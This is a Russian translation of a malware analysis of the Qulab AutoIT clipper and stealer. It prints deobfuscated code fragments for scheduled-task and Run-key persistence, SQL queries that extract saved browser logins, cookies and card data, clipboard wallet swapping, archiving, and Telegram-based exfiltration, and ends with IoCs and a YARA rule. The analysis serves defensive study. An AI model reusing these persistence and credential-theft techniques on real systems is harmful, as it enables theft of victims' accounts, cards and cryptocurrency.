- Когда эта функция будет выполнена, сценарий снова перейдет к началу, чисто логическим путем после директив и выполнит поиск глобальных переменных и инструкций, в нашем случае это будут некоторые глобальные переменные.
- Когда все глобальные переменные были инициированы, он пропустит все функции, потому что они просто не вызываются (на данный момент), и попытается достичь какой-либо пригодной для использования инструкции (как я объяснил выше).
Когда, наконец, некоторый код становится доступным, возникает эффект домино, инициированная переменная вызывает одну функцию, которая внутри нее вызывает одну или несколько функций и так далее. - Во время того же процесса есть также некоторые закодированные файлы, которые жестко закодированы в код и введены в код для некоторых конкретных задач. Когда все задачи установки выполнены, это входит в бесконечный цикл для определенных целей.
Директивы ведут дорожный путь
Все, что начинается с '#', является директивой, это технически первая вещь, которую скрипт проверит, и здесь он настроен на переход к определенной функции любой ценой, такой как «A5300003647_», эта является основной функцией. ,
#СЪЕБИСЬ ОТСЮБДА ДУДА ТЫ ССАНАЯ БЛЯХА МУХА (эту строку аналитик никак не прокоментировал
#NoTrayIcon
#OnAutoItStartRegister "A5300003647_"
#NoTrayIcon - скрывает значок AutoIT в задаче в трее.
#OnAutoItStartRegister - первая функция, которая будет вызываться в начале скрипта (эквивалент основной функции).
Основная функция VIP
Первая функция Qulab очень важна, потому что именно здесь инициализируются почти все данные для задач. Переменная $ DLIT хранит «огромную» строку, которая будет разделена разделителем «o2B2Ct» и сохранена в массиве $ OS
Примечание: имя, упомянутое здесь, является тем, которое будет использоваться для этого сценария кражи, результаты могут отличаться в разных примерах, но идея остается неизменной.
FUNC A5300003647_()
FOR $AX0X0XA=1 TO 5
LOCAL $DLIT="203020o2B2Ct203120o..."
GLOBAL $A5300003647,$OS=STRINGSPLIT($DLIT,"o2B2Ct",1)
IF ISARRAY($OS) AND $OS[0]>=19965 THEN EXITLOOP
SLEEP(10)
NEXT
ENDFUNC
Глобальные переменные являются ключом
Глобальные переменные, безусловно, находятся в центре внимания Qulab, они нигде и повсюду, они настолько эффективны с главным массивом, что одна модификация одной переменной может иметь эффект домино для всего вредоносного ПО, которое может закончиться ошибкой сегментации или чем-то еще, это может привести к сбою сценария.
Когда переменная инициализируется, есть несколько шагов за ней:
- Выбор конкретного значения из мастер-массива
- Преобразование значения в строку
- прибыль
функция "A5300003647" фактически эквивалентна функции "From Hex", и она преобразует значения 2 байта на 2 байта.
FUNC A5300003647($A5300003647)
LOCAL $A5300003647_
FOR $X=1 TO STRINGLEN($A5300003647) STEP 2
$A5300003647_&=CHR(DEC(STRINGMID($A5300003647,$X,2)))
NEXT
RETURN $A5300003647_
ENDFUNC
Просто изменив инструкции скриптов AutoIT, с помощью некоторых настроек (благодаря самодельным скриптам деобфускации и терпению), переменные теперь почти полностью читаемы.
После изменения наших переменных 19966 (это много), мы можем ясно увидеть большинство задач, которые вредоносная программа выполняет в канале статически. Это не означает, что сделано с этой частью, это всего лишь первый черновик, и его нужно очистить снова, потому что есть много незавершенных задач и конечно, как я объяснил выше, большинство из них не используются.
Основной код
После всего этого беспорядка, чтобы понять как правильно читать код, сценарий теперь вступает в основной шаг. Более серьезные дела начинаются прямо сейчас.
Чтобы подвести итог всей задачи, это вкратце, что происходит:
- Настройка, Переменные, которые настроены в билдере:
Наименование полезной нагрузки
Название расписания задания
Имя папки задач расписания
Имя скрытой папки AppData, для выполнения действий программы
Бумажники - Спрятать себя
- Выполняй все кражи
- Декодирование и зависимости нагрузки, когда это необходимо
- Сделать упорство
- И больше...
Между двумя функциями иногда существуют глобальные переменные, которые объявлены, или есть также скрытые вызовы, которые влияют на саму полезную нагрузку. Их нельзя было реально увидеть с первого взгляда, потому что они утоплены в объеме кода. Таким образом, 1 или 2 строки между десятками функций могут быть легко забыты.
мы можем видеть, что это также указывает на конкретный метод, который будет вызываться в конце всего.
ONAUTOITEXITREGISTER("A1AA3F04218")
Итак, проведя небольшое исследование, мы можем увидеть нашу функцию ,между огромным количеством кода, которая будет вызываться в конце скрипта.
Это фактически закрывающий модуль crypt32.dll , который используется для CryptoAPI.
GLOBAL $A1A48943E37=DLLOPEN("crypt32.dll")
Некоторые курьезы, чтобы раскрыть
Самодельные функции или уже сделано?
Для большинства задач вредоносная программа использует множество «пользовательских функций» (UDF) с некоторыми изменениями, как объяснено в FAQ по AutoIT: « Эти библиотеки были написаны для простой интеграции в ваши собственные сценарии и являются очень ценным ресурсом для любого программиста.» . это все больше и больше подтверждает, что открытый исходный код и форумы по программированию полезны для обеих сторон (и хороших, и плохих), поэтому для разработки вредоносных программ не обязательно быть мастером, все готово и свободно.
Также подтверждено что Qulab использовал измененный или оригинальный UDF для:
- Контент SQL
- Архивирование контента
- Telegram API
- Windows API
- Использование памяти
Известно, что программы AutoIT жадны в потреблении памяти и могут быть более уязвимыми. Много раз вредоносная программа будет выполнять задачу, чтобы проверить, есть ли возможность уменьшить объем выделенной памяти, удаляя как можно больше страниц из рабочего набора процесса. Манипуляция требовала использования EmptyWorkingSet и могла позволить сократить вдвое использование памяти программой.
FUNC A0E64003F0C($A1B85D1000C=0)
IF NOT $A1B85D1000C THEN $A1B85D1000C=EXECUTE(" @AutoItPID ")
LOCAL $A3485F11D1D=DLLCALL("kernel32.dll","handle","OpenProcess","dword",(($A209DF54B2B<1536)?1280:4352),"bool",0"dword",$A1B85D1000C)
IF error OR NOT $A3485F11D1D[0] THEN RETURN SETERROR(@ERROR+20,@EXTENDED,0)
LOCAL $A5F55F1392E=DLLCALL(EXECUTE(" @SystemDir ")&"\psapi.dll","bool","EmptyWorkingSet","handle",$A3485F11D1D[0])
RETURN 1
ENDFUNC
Сначала он получит значение PID программы, скомпилированной AutoIT, выполнив макрос @AutoItPID, а затем откроет его с помощью OpenProcess. Но один из аргументов довольно неясен
(($A209DF54B2B<1536)?1280:4352)
что стоит за переменной $ A209DF54B2B? давайте копаться в этом ...
GLOBAL CONST $A209DF54B2B=A2054F01A5F()
FUNC A2054F01A5F()
LOCAL $A1656715F1D=DLLSTRUCTCREATE("struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct")
DLLSTRUCTSETDATA($A1656715F1D,1,DLLSTRUCTGETSIZE($A1656715F1D))
LOCAL $A5F55F1392E=DLLCALL("kernel32.dll","bool","GetVersionExW","struct*",$A1656715F1D)
IF error ORNOT$A5F55F1392E[0] THENRETURNSETERROR(@ERROR,@EXTENDED,0)
RETURN BITOR(BITSHIFT(DLLSTRUCTGETDATA($A1656715F1D,2),-8),DLLSTRUCTGETDATA($A1656715F1D,3)))
ENDFUNC
Это функция WinAPI будет извлекать версию текущей операционной системы, используемой на машине, возвращаемое значение в двоичном формате. Так что если мы оглянемся назад и сверимся с официальным API.
//
// _WIN32_WINNT version constants
//
#define _WIN32_WINNT_NT4 0x0400 // Windows NT 4.0
#define _WIN32_WINNT_WIN2K 0x0500 // Windows 2000
#define _WIN32_WINNT_WINXP 0x0501 // Windows XP
#define _WIN32_WINNT_WS03 0x0502 // Windows Server 2003
#define _WIN32_WINNT_WIN6 0x0600 // Windows Vista
#define _WIN32_WINNT_VISTA 0x0600 // Windows Vista
#define _WIN32_WINNT_WS08 0x0600 // Windows Server 2008
#define _WIN32_WINNT_LONGHORN 0x0600 // Windows Vista
#define _WIN32_WINNT_WIN7 0x0601 // Windows 7
#define _WIN32_WINNT_WIN8 0x0602 // Windows 8
#define _WIN32_WINNT_WINBLUE 0x0603 // Windows 8.1
#define _WIN32_WINNT_WINTHRESHOLD 0x0A00 // Windows 10
#define _WIN32_WINNT_WIN10 0x0A00 // Windows 10
Зная версию Windows с этой функцией, скрипт AutoIT теперь может правильно открыть процесс и проанализировать его. Последняя задача - очистить неиспользуемый рабочий набор, вызвав EmptyWorkingSet для очистки некоторой ненужной памяти.
Планирование задач
Планирование задач со стилерами сводится к одной строке кода, простой и эффективной команде ShellExecute с schtask.exe для периодического выполнения чего-либо, как трюка с постоянством. Здесь это немного сложнее чем обычно, в нескольких точках с помощью объекта TaskService
$A60FD553516=OBJCREATE("Schedule.Service")
$A60FD553516.Connect()
Новая задача установлена со значением флага 0, как объяснено в документации MSDN, это обязательное значение.
$A489E853A1E=$A60FD553516.NewTask(0)
Чтобы быть менее детектируемыми, некоторые трюки должны выглядеть как можно более правдоподобными, детализируя что процесс был выполнен правильным пользователем, описание, название задачи и папка задачи корректируются в соответствии с пожеланиями клиента.
$A4A9E951E11=$A489E853A1E.RegistrationInfo()
$A4A9E951E11.Description()= $A487E851D38
$A4A9E951E11.Author()=EXECUTE(" @LogonDomain ")&"\"&EXECUTE(" ")
Чтобы максимизировать работоспособность, Qulab настраивает клиппер под ситуации:
- Ноутбук не заряжается
- Батарея разряжена
- Сеть доступна или она отсутствует
$A4B9EA50562=$A489E853A1E.Settings()
$A4B9EA50562.MultipleInstances() = 0
$A4B9EA50562.DisallowStartIfOnBatteries()= FALSE
$A4B9EA50562.StopIfGoingOnBatteries()= FALSE
$A4B9EA50562.AllowHardTerminate()= TRUE
$A4B9EA50562.StartWhenAvailable()= TRUE
$A4B9EA50562.RunOnlyIfNetworkAvailable() FALSE
$A4B9EA50562.Enabled()= TRUE
$A4B9EA50562.Hidden()= TRUE
$A4B9EA50562.RunOnlyIfIdle()= FALSE
$A4B9EA50562.WakeToRun()= TRUE
$A4B9EA50562.ExecutionTimeLimit()= "PT1M" // Default PT99999H
$A4B9EA50562.Priority()= 3 // Default 5
$A3E9EB51B0D=$A489E853A1E.Principal()
$A3E9EB51B0D.Id()=EXECUTE(" ")
$A3E9EB51B0D.DisplayName()=EXECUTE(" ")
$A3E9EB51B0D.LogonType()=$A0B8E352D04
$A3E9EB51B0D.RunLevel()= 0
Другая автозагрузка?
Классический используется
IF NOT A3F64500C0D($A00DEB51215,$A35DEF51B61) THEN
REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
$A00DEB51215,"REG_SZ",""""&$A104A053309&"\"&$A60DE955B5F&"""")
Больше нечего сказать об этой части ...
Кодировка это не шифрование
Когда я копался в коде я обнаружил ошибку, которая заставляет меня немного смеяться... Классическая цитата о том что base64 - это шифрование. Так что возможно, после этого глубокого анализа разработчик вредоносного ПО исправит свою ошибку (или просто оскорбит меня).
Особенности вредоносного ПО
Клиппер
Если вы не знаете, что такое клиппер то это на самом деле очень просто. Идея состоит в том чтобы изменить то, что находится в содержимом буфера обмена, с помощью некоторых фильтров/правил, которые в большинстве случаев упрощаются как регулярные выражения. Если он совпадает с чем-то, он изменит данные в буфере обмена на заданные. Он широко используется для подемны кошельков жертвы на кошельки злоумышленника. Это также относится и к Qulab.
Этот кусок кода представляет ядро клипера:
Итак, это шаги которые выполняет клиппер:
- Выполните скрипт для проверки наличия новых данных для отправки злоумышленнику.
- Проверка наличия текущей задачи в планировщике задач.
- Очистка ненужного рабочего набора (см. Оптимизацию памяти, описанную выше)
- Сделать паузу в цикле на 200 мс
- Получить содержимое буфера обмена с помощью CLIPGET
- Проверьте весь кошелек, если он совпадает, то замените на желаемое значение.
- Поместите измененный контент в буфер обмена с помощью CLIPPUT
- Повторение
Текущий список криптовалютных кошельков, который ворует стиллер.
Bitcoin; Bitcoin Cash; Bitcoin Gold; Bytecoin; Cardano; Lisk; Dash; Doge; Electronium; Ethereum; Graft; Litecoin; Monero; Neo; QIWI; Qtum; Steam Trade; Link; Stratis; VIA; WME; WMR; WMU; WMX; WMZ; Waves; Yandex Money; ZCash.
Браузер Stealer
Qulab Clipper + Stealer - это своего рода головоломка с несколькими кусочками, и каждый кусочек - это еще одна головоломка. Сбор и сортировка их для решения всей фрески - это своего рода вызов. Я могу признать для части браузера, даже если концепция проста и останется всегда той же самой (для основ Password Stealer), способ которым это было реализовано, несколько умный.
Сначала проверяется каждый браузер, поддерживаемый вредоносной программой, с конкретными аргументами:
- Путь к браузеру
- Файлы, которые стиллер хочет получить с помощью «|» в качестве разделителя
- Название браузера
Это идет к очень важной функции, которая будет искать (не только для браузера), такие виды файлов:
- Wallet.dat
- Login Data
- FormHistory.Sqlite
- Web Data
- Cookies.Sqlite
- Cookies
- .maFile
Когда все файлы найдены, нужно всего лишь сделать какое-то регулярное выражение, чтобы отфильтровать и разделить данные, которые вредоносная программа захватила.
После проверки и сохранения данных из браузеров, присутствующих в списке, серьезное дело теперь на ходу... Один из двоичных файлов, который жестко закодированы в base64, наконец-то декодируется и используется для получения некоторых сочных данных, как каждый раз, когда он становится популярным. SQLite3.dll, который был внутри всего этого.
Интересно отметить, что разработчик внес некоторые коррективы в официальный AutoIT FUD для SQLite3 и удалил все сетевые задач��, чтобы избежать загрузки библиотек (32 или 64 бита) и, конечно, быть менее детектируемым.
Файл сохраняется в каталоге %ROAMING% и будет иметь имя:
- PE_Name + ".sqlite3.module.dll"
- Проверка с исправленным SQLite_GetTable2d, оператор SQL, который должен быть выполнен и проверен, является допустимым.
- Таблица SQL помещается в цикл, и каждая итерация массива проверяется определенным регулярным выражением.
- Если контент найден, он входит в другое условие, которое просто добавит его в список файлов и информации, которая будет помещена в вредоносный архив.
SELECT card_number_encrypted, name_on_card, expiration_month, expiration_year FROM credit_cards;
SELECT username_value, password_value, origin_url, action_url FROM logins;
select host, 'FALSE' as flag, path, case when isSecure = 1 then 'TRUE' else 'FALSE' end as secure, expiry, name, value from moz_cookies;
select host_key, 'FALSE' as flag, path, case when is_secure = 1 then 'TRUE' else 'FALSE' end as secure, expires_utc, name, encrypted_value from cookies;
Текущий список поддерживаемых браузеров
360 Browser; Amigo; AVAST Browser; Blisk; Breaker Browser; Chromium; Chromodo; CocCoc; CometNetwork Browser; Comodo Dragon; CyberFox; Flock Browser; Ghost Browser; Google Chrome; IceCat; IceDragon; K-Meleon Browser; Mozilla Firefox; NETGATE Browser; Opera; Orbitum Browser; Pale Moon; QIP Surf; SeaMonkey; Torch; UCBrowser; uCOZ Media; Vivaldi; Waterfox; Yandex Browser.
FTP
FTP находится в зачаточном состоянии, но выполняет задачу, поскольку он выглядит только для программного обеспечения FileZilla.
Граббер
Qulab не имеет продвинутой функции граббера, он действительно упрощен по сравнению со стиллерами такими как Vidar. Он упрощается всего одной простой строкой. Он использует ту же функцию, которая описана выше с браузерами, с той лишь разницей что он сосредоточен на поиске определенного формата файла в каталоге рабочего стола
Целевые файлы
- .Txt
- .maFile
- Wallet.dat
Ничто не может сказать больше, чем Exodus.
Discord
В настоящее время Discord становится все более и более популярным, поэтому сейчас стало обычным делом видеть, что это программное обеспечение предназначено почти для всех существующих паролей на рынке.
Steam & Steam Desktop Authenticator
Процедура для Steam почти идентична той, что я объяснил в Predator, и будет оставаться такой же, пока Steam не изменит некоторые вещи в защиту своих файлов (или просто не поменяет их условное название).
- Поиск пути Steam в реестре
- Поиск в папке конфигурации
- Рекурсивный поиск в нем для захвата всех файлов ssfn
Но! В этом пароле-пароле есть что-то отличное от всего, что я видел в настоящее время. Он также нацелен на Steam Desktop Authenticator - стороннее программное обеспечение, как описано на официальной странице в качестве настольной реализации мобильного приложения для аутентификации Steam. Он ищет конкретный и уникальный файл ".maFile", он уже упоминался выше в части Grabber и части "Обкрадывание браузера". Этот файл содержит конфиденциальные данные учетной записи Steam, связанной с приложением мобильной аутентификации Steam.
Так что эта вредоносная программа в значительной степени нацелена на Steam:
- Искать папку Steam через реестр.
- Поиск конфигурационной папки.
- Кража основного файла 2FA от стороннего программного обеспечения.
Для стиллера характерно иметь информационный файл, в котором записываются важные данные с компьютера жертвы. Это также относится и к Qulab, нет необходимости объяснять всю часть, я просто объясняю здесь с помощью какой команды он смог получить кусочки информации.
OS Version - @OSVersion
OS Architecture - @OSArch
OS Build - @OSBuild
Username -
Computer Name - @ComputerName
Processor - ExecQuery("SELECT * FROM Win32_VideoController","WQL",16+32)
Video Card - ExecQuery("SELECT * FROM Win32_Processor","WQL",16+32)
Memory - STRINGFORMAT("%.2f Gb",MEMGETSTATS()[1]/1024/1024)
Keyboard Layout ID - @KBLayout
Resolution - @DesktopWidth & @DesktopHeight & @DesktopDepth & @DesktopRefresh
Сеть:
Не видно из-за прокси, на ipapi.co выполняется сетевой запрос для получения всей сетевой информации о машине жертвы.
$A4AC5512B62=INETREAD("https://ipapi.co/json",3)
Результат JSON объединяется в одну переменную и сохраняется для окончательного файла журнала.
IF STRINGLEN($A4AC5512B62) > 75 THEN
$A2B1F55481F=A4604603206(BINARYTOSTRING($A4AC5512B62))
$A280FD53C4B =" - IP: " &A211460135A($A2B1F55481F,"[ip]") & EXECUTE(" @CRLF ")
&" - Country: " &A211460135A($A2B1F55481F,"[country_name]") & EXECUTE(" @CRLF ")
&" - City: " &A211460135A($A2B1F55481F,"[city]") & EXECUTE(" @CRLF ")
&" - Region: " &A211460135A($A2B1F55481F,"[region]") & EXECUTE(" @CRLF ")
&" - ZipCode: " &A211460135A($A2B1F55481F,"[postal]") & EXECUTE(" @CRLF ")
&" - ISP: " &A211460135A($A2B1F55481F,"[org]") & EXECUTE(" @CRLF ")
&" - Coordinates: " &A211460135A($A2B1F55481F,"[latitude]")&", "&A211460135A($A2B1F55481F,"[longitude]")&EXECUTE(" @CRLF ")
&" - UTC: " &A211460135A($A2B1F55481F,"[utc_offset]")&" ("&A211460135A($A2B1F55481F,"[timezone]")&")"
ENDIF
- Программы
FOR $A51E7205400 = 1 TO $A12EF151C00[0][0]
$A3B1F954B63 &=" - "&$A12EF151C00[$A51E7205400][0]&EXECUTE(" @CRLF ")
NEXT
- Список процессов
$A2EEFA54E30=PROCESSLIST()
FOR $A51E7205400=1 TO $A2EEFA54E30[0][0]
$A481FB54A60&=" - "&$A2EEFA54E30[$A51E7205400][0]&" / PID: "&$A2EEFA54E30[$A51E7205400][1]&EXECUTE(" @CRLF ")
NEXT
Смешивая все эти данные, файл журнала, наконец, делается:
# /===============================\
# |=== QULAB CLIPPER + STEALER ===|
# |===============================|
# |==== BUY CLIPPER + STEALER ====|
# |=== http://teleg.run/QulabZ ===|
# \===============================/
Date: XX.XX.2019, HH:MM:SS
Main Information:
- ...
Other Information:
- ...
Soft / Windows Components / Windows Updates:
- ...
Process List:
- ...
Инструкции по установке
Для того, чтобы, вероятно, помочь своим клиентам, когда вредоносная программа перехватывает данные от другого программного обеспечения, кроме браузеров, добавлен дополнительный файл, который дает некоторые пояснения для полного выполнения задачи после процесса кражи, шаг за шагом и сохраняет в «Инструкцию по установке.txt».
Инструкции уникальны для каждого из них:
- Exodus
- Discord
- Wallets
- Steam
- Filezilla
- Telegram
- Steam Desktop Authentication
- Отдельного граббинга
Когда, наконец, все сделано для кражи, папка готова к архивированию и использует другую закодированную полезную нагрузку, жестко запрограммированную в сценарии.
Не очень сложно понять, что за этим огромным количеством кода стоит 7zip.
Полезная нагрузка сохраняется в хранилище папок на %APPDATA% с именем P
E_Name + ".module.dll" и выполняет определенную задачу перед удалением всего.
ARCHIVATE($A271F153721)
RUNWAIT($A271F153721&" a -y -mx9 -ssw """&$A104A053309&"\"&$A63CEC52907&".7z"" """&$A104A053309&"\1\*""","",EXECUTE(" @SW_HIDE "))
FILEDELETE($A271F153721)
Если вы не понимаете команды, объясняю здесь:
a - добавить
y - да на все запросы
mx9 - метод ультра сжатия
SSW - сжатие файлов, открытых для записи
Вот пример окончательного архива.
Но есть возможность иметь все эти файлы и папки:
\1\Passwords.txt
\1\Information.txt
\1\Screen.jpg
\1\AutoFills.txt
\1\CreditCards.txt
\1\Cookies
\1\Desktop TXT Files
\1\Discord
\1\Telegram
\1\Steam
\1\Exodus
\1\Wallets
\1\FileZilla
\1\SDA
Процесс очистки
Просто и эффективно:
- Убить процесс
- Удалить каталога скриптов
Это легко ловится в журналах мониторинга.
Telegram Bot как C2?
Эта вредоносная программа использует бота Telegram для связи и отправки украденных данных. Как обычно он использует некоторые функции UDF, так что нет ничего действительно нового. Не очень сложно понять как это работает.
Когда бот создается, существует уникальный токен аутентификации, который можно использовать после отправки ему запросов.
api.telegram.org/bot/
Кроме того, он использует приватный прокси при отправке лога, запроса боту:
Эти значения используются для настройки параметров прокси во время HTTP-запроса:
Как это выглядит на другой стороне?
Это вредоносное ПО разработано кодером Qulab, и потребовались секунды, чтобы найти официального продавца стиллера/клипера. Как обычно каждый маркетинг, о котором вы хотите знать детализирован.
- Этот стиллер/клипер продается за 2000 рублей (~ 30$)
- Поддержка возможна
Дополнительная информация:
IoC
Хэш
- a915fc346ed7e984e794aa9e0d497137
- 887fac71dc7e038bc73dc9362585bf70
- a915fc346ed7e984e794aa9e0d497137
- 185.142.97.228
- 65233
- % PAYLOAD_NAME%
- Случайное описание
- % APPDATA% /% RANDOM_FOLDER% /
- % APPDATA% /% RANDOM_FOLDER% / 1 /
- % PAYLOAD_NAME% .module.exe (7zip)
- % PAYLOAD_NAME% .sqlite.module.exe (sqlite3.dll)
Используемое программное обеспечение и язык
- AutoIT
- Aut2Exe (декомпилятор)
- myAut2Exe (декомпилятор)
- CFF Explorer
- x32dbg
- Python
rule Qulab_Stealer : Qulab
{
meta:
description = "Yara rule for detecting Qulab (In memory only)"
author = "Fumik0_"
strings:
$s1 = "QULAB CLIPPER + STEALER" wide ascii
$s2 = "SDA" wide ascii
$s3 = "SELECT * FROM Win32_VideoController" wide ascii
$s4 = "maFile" wide ascii
$s5 = "Exodus" wide ascii
condition:
all of ($s*)
}
Заключение
Ну, иногда круто копаться в некоторых вещах, которые не очень распространены для этого языка. Это интересно и всегда стоит изучать новый контент, находить новые инструменты, находить новую перспективу, чтобы погрузиться в некоторые совершенно неизвестные области.
Qulab Stealer интересен только тем что использует AutoIT и использует бота в телеграмм для отправки лога, но функции кражи остаются такими же как и у всех других стиллеров.
Оригинальная статья: https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/
Перевод и адаптацию статьи сделал: https://t.me/milfachs
Подписуйся на наш канал "Dark Wanna, о кодинге и разным фичам понятным языком.
Dark Wanna - Дарк который ты хочешь.